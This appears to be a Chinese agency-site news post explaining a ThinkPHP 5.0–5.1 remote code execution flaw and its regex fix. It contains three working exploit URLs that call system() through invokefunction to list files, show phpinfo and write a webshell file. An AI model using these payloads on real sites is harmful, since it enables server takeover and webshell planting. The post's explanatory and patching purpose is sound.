新闻中心

xinwen
首页 > 新闻中心 > 正文内容

thinkphp 最新版本5.0到5.1高危漏洞爆发可直接提权getshell

新闻中心西安百度公司2年前 (2018-12-19)694

 

THINKPHP漏洞修复,官方于近日,对现有的thinkphp5.0到5.1所有版本进行了升级,以及补丁更新,这次更新主要是进行了一些漏洞修复,最严重的就是之前存在的SQL注入漏洞,以及远程代码执行查询系统的漏洞都进行了修复,官方本以为没有问题了,但是在实际的安全检测当中发现,还是存在问题,还是可以远程代码进行注入,插入非法字符,提交到服务器后端中去。

 thinkphp 最新版本5.0到5.1高危漏洞爆发可直接提权getshell 新闻中心 西安百度1张

关于这次发现的oday漏洞,我们来看下官方之前更新的代码文件是怎么样的,更新的程序文件路径是library文件夹下的think目录里的app.php,如下图:

 thinkphp 最新版本5.0到5.1高危漏洞爆发可直接提权getshell 新闻中心 西安百度2张

漏洞产生的原因就在于这个控制器这里,整个thinkphp框架里的功能对控制器没有进行严格的安全过滤于检查,使攻击者可以伪造恶意参数进行强制插入,最根本的原因就是正则的表达式写的不好,导致可以绕过。

在controller获取控制器后,直接进行赋值,但是并没有对控制器的名进行严格的检测,导致可以使用斜杠等特殊符号来远程代码注入。

我们来搭建一下网站的环境,apache+mysql+Linux centos系统,搭建好的测试环境地址是http://127.0.01/anquan ,我们可以直接在index.php后面伪造攻击参数,示例如下:

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l

直接get方式提交到网站中去,可以直接查询到网站当前根目录的所有文件,截图如下:

 thinkphp 最新版本5.0到5.1高危漏洞爆发可直接提权getshell 新闻中心 西安百度3张

通过该漏洞也可以直接远程代码注入执行phpinfo语句,查询当前的php版本,路径,扩展,以及php.ini存放的地址,都可以看得到,构造如下代码即可。

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

 thinkphp 最新版本5.0到5.1高危漏洞爆发可直接提权getshell 新闻中心 西安百度4张

有些人可能会问了,既然都可以phpinfo,查询目录文件,可不可以getshell写网站木马文件到网站里呢? 答案是可以的,我们测试的时候是以一句话木马代码的写入到safe.php文件里。

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%27%20>%20safe.php

关于这次thinkphp的漏洞利用以及分析到此就结束了,该漏洞属于高危漏洞,危害严重性较大,很多升级更新补丁的网站都会受到攻击,甚至有些网站会被挂马,那么该如何修复thinkphp的漏洞呢?替换之前的正规则表达式即可,还需要对网站的目录进行权限部署,防止生成php文件,对网站上的漏洞进行修复,或者是对网站安全防护参数进行重新设置,使他符合当时的网站环境。如果不懂如何修复网站漏洞,也可以找专业的网站安全公司来处理,国内如Sinesafe和绿盟、启明星辰等安全公司比较专业.

针对于这个情况,我们要对其library/think/App.php代码里的正规则表达式进行更改,if (!preg_match('/^[A-Za-z][\w\.]*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }

扫描二维码至手机访问

西安百度推广开户联系王尘宇电话:15002910771。


转载请注明出处:http://94101.com/post/175.html

相关文章

网站建设公司做网站多少钱

    网站建设公司做网站多少钱?今天王尘宇给大家说下网站建设公司做网站费用,希望对你做网站有所帮助。   做网站费用,主要和你对网站要求高低有关系,...

需要在每个网页标题加网站名称吗?

 首先,品牌网站都会在每个网页标题上写着网站名称。因为:每个网页的标题带着网站的名称,其网页数量数以亿计,所以网站名称每天在百度和谷歌等搜索引擎的展示次数不计其数。这无形中为自己做了大量的免...

什么是信息流广告?(百度信息流广告在哪些平台发布)

什么是信息流广告?(百度信息流广告在哪些平台发布)

首先看看什么是信息流广告呢?信息流广告是在百度APP、百度首页、贴吧、百度手机浏览器等平台的资讯流中穿插展现的原生广告,广告即是内容。您的广告可以展示在百度APP您的广告将会展现在百度APP信息流资讯...

百度网盟推广是什么?(百度网盟推广的诠释和价值)

百度网盟推广是什么?(百度网盟推广的诠释和价值)

百度网盟推广是什么?     百度网盟推广是提供全面、精准、持续、富有吸引力的展示性推广。     百度网盟推广帮您利用国内最大网络联盟体系...

便宜网站建设靠谱吗? 一般多少钱?

    很多人做网站,首选会考虑就是网站建设费用。想花最少的钱做最好的网站,然而一分钱一分货,便宜的网站,贵的网站都有其他的原因,2个之间根本不用。  ...

非常期待与您的又一次邂逅

西安百度推广,西安百度公司竞价开户托管